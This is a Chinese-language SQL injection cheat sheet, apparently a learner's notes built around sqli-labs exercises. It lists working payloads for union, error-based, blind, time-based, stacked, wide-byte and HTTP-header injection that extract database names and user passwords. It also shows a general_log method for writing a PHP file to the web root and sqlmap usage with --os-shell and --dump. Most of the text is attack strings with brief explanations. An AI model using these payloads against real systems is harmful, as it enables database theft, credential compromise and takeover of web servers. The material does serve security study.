1.SQL注入的原理:
SQL注入的攻击行为是通过用户可控参数中注入了SQL语法,改变原有SQL结构,达到编写程序时意料之外的结果出现,可以总结为一下两个原因叠加造成的:
1.程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2.未对用户可控参数进行严格的过滤,便把参数内容拼接道SQL语句中
2.SQL注入的危害
攻击者通过利用SQL注入漏洞,获取数据库的各种信息(如后台的账号密码),从而脱取数据库的内容(脱库);
特别的情况下还可以对数据库内容进行插入、修改、删除
如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以通过SQL注入漏洞来直接获取webshell或服务器权限
3.SQL注入的分类
两大基本类型 |
注入手法 |
提交参数方式 |
注入点的位置 |
数字型 字母型 |
联合查询 报错注入 布尔盲注 延时注入 堆叠注入.... |
GET POST HTTP头部.... |
URL(如/?id=) 搜索框 留言板(可以结合xss) 后台登录 |
适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select语句,该语句会同时执行两条select 语句,实现跨库、 跨表查询。
必要的条件:
两条select 语句查询结果具有相同列数
对应的列数据类型相同(特殊情况下,条件被放松)
(1)库名:
UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
(2)表名:
UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
group_concat(): 将同一组的列显示出来,并且用分隔符分隔。
注释:information_schema.tables储存所以数据库的表名,这条语句的意思是在所有的表里寻找当前数据库下的所有表名以组的方式并以十六进制的形式显示出来
(3)列名:
UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from informatio_schema.columns where table_schema=database() and table_name='tb'
注释:informatio_schema.columns是储存所以数据库的列名,这条语句是在所以的列下寻找当前数据库下的tb表下的所有列名以组的方式并以十六进制的方式显示出来
(4)字段:
UNION SELECT 1,2,hex(concat(xxx,0x7e,yyy)),4,5,6,7,8,9,10,11,12,13,14,15 from tb
concat(): concat()函数用于将两个字符串连接起来,形成一个单一的字符串 ,0x7e是~
注释:在tb表下寻找xxx和yyy字段的内容,显示形式为xxx~yyy
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。
(1)group by 重复键冲突:
and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
(2)extractvalue报错函数(参数只有两个):
爆库:and extractvalue(1,concat(0x5e,(select database()),0x5e))
爆表:and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e))
爆列:and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='tb'),1,32),0x7e))
数据:and extractvalue(1,concat(0x7e,substr((select concat(username,0x7e,password) from cms_users),1,30),0x7e))
(3)updatexml报错注入(三个参数):
爆库:and updatexml(1,concat(0x5e,(select database()),0x5e),1)
爆表:and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,90),0x7e),1)
爆列:and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='cms_users'),1,32),0x7e),1)
爆数据:数据:and updatexml(1,concat(0x7e,substr((select concat(username,0x7e,password) from cms_users),1,30),0x7e),1)
and database()='xxx' --+进行判断
判断数据库的字符长度:and ascii(substr(database(),1,1))=x --+
半自动注入:
利用bp进行半自动注入,选用回显中比较亮眼的字符串进行查找,打开bp的测试器模块,对url进行设置变化的参数,攻击类型选择集束炸弹,有效载荷1选择数值,有效载荷2选择蛮力,最短1最长1进行破解
爆库:and substr(database(),1,1) --+
爆表:and substr((select group_concat(table_name) from information_schema.tables where table_schema='database'),1,1)=xxx
爆列:and substr((select group_concat(colum_name) from information_schema.columns where table_schema='database' and table_name='tb'),1,1)=xxx
爆字段:and substr((select concat(xxx,0x7e) from tb),1,1) =yyy
/sqli-labs/Less-9/?id=2' and sleep(5) --+有延时
/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+
# 页面有延时
if()语句有三个参数,第一个参数是条件,成功则执行第二个参数,并返回第三个参数
半自动注入:
利用bp进行半自动注入,选用回显中比较亮眼的字符串进行查找,打开bp的测试器模块,对url进行设置变化的参数,攻击类型选择集束炸弹,有效载荷1选择数值,有效载荷2选择蛮力,最短1最长1进行破解
爆库:/sqli-labs/Less-9/?id=2' and if(substr(database(),1,1)='',sleep(5),1) --+
爆表:/sqli-labs/Less-9/?id=2' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=''),1,1),sleep(5),1) --+
爆列:/sqli-labs/Less-9/?id=2' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='' and table_name=''),1,1),sleep(5),1) --+
爆数据:/sqli-labs/Less-9/?id=2' and if(substr((select concat(username,0x7e,password) from tb),1,1),sleep(5),1) --+
一次HTTP 请求,可以同时执行多条SQL 语句,因为存在 mysqli_multi_query函数,该函数支持多条sql语句同时进行。 以sqli-labs 第38 关为例子。
?id=2';update users set password='123456'--+
#更新密码,后面可接插入,删除,修改语句等
这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询
漏洞语句:sqli-labs/Less-32?id=-3%81' UNION SELECT 1,version(),3 --+
与转义字符的16进制码拼成一个GBK编码,使转义字符失效
注入点在Cookie 数据中,以sqli-labs-20 关为例子。
Cookie: uname=Dumb'and updatexml(1,concat(0x3a,(select database()),0x3a),1) #
注入的参数需要进行 base64 编码 ,以sqli-labs-22 关为例子。
uname=RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg1ZSksMSkj
注入的参数在User-Agent 中,以sqli-labs-18 关为例子。
User-Agent: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
注入参数在Referer 字段中,以sqli-labs-19 关为例子。
Referer: AJEST' and updatexml(1,concat(0x5e,(select version()),0x5e),1) and '1
前提条件:当前用户有读写权限,如root@localhost和已知文件读写的绝对路径
?id=33 and 1=2 UNION SELECT 1,2, hex(file_priv),4,5,6,7,8,9,10,11,12,13,14,15from mysql.user where user='root' and host='localhost'
file_priv是查看该用户是否存在有读写文件的权限
secure_file_priv参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,修改my.ini 配置文件,并 重启mysql 数据库。
secure_file_priv对读写文件的影响:
secure_file_priv在mysql的my.ini中设置,用来限制 load_file()、into outfile、into dumpfile 函数在哪个目录下拥有上传或者读取文件的权限。
sql注入文件读写方式:
load_file() :读取指定文件
LOAD DATA LOCAL INFILE:读取指定文件[当secure_file_priv为null时可以代替load_file()]
into outfile :将查询的数据写入文件中
into dumpfile:将查询的数据写入文件中 (只能写入一行数据)
sqlmap: --file-write 要写入的文件 --file-dest 写入的绝对路径
查看secure_file_priv设置状态
show global variables like 'secure%';
限制mysqld 不允许导入/导出:secure_file_priv=null (默认)
限制mysqld 的导入/导出 只能发生在/tmp/目录下:secure_file_priv=/tmp/
不对mysqld 的导入/导出做限制:secure_file_priv=''
高权限注入遇到secure_file_priv
在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。
替代方法:
set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '';
-u 检测是否存在sql注入漏洞
--dbs 列出所以的数据库名
--current-user 查看当前用户名
--current-db 查看当前数据库名
-D "" 选择查看指定数据库
--tables 查看指定数据库下的所有表名
-T "" 选择查看指定的表
--columns 查看指定表名下的所有字段名
-C "" 选择查看指定的字段,可接多个参数,有逗号分隔
--dump 列出所有字段内容
-r 从文件中读取HTTP 请求
--os-shell 在特定情况下,可以直接获得目标系统Shell
--level 3 设置sqlmap 检测等级 3
--cookie="username=admin" 携带Cookie 信息进行注入
-g 利用google 搜索引擎自动搜索注入点
--batch 使用默认选项
先bp抓包,保存到一个文件里,然后sqlmap -r x.post运行
受到secure_file_priv 选项的限制,要为空;
目标系统Web 根目录的绝对路径。
例如:sqlmap -u "http://192.168.16.119/show.php?id=33" --os-shell
小白总结,出错勿喷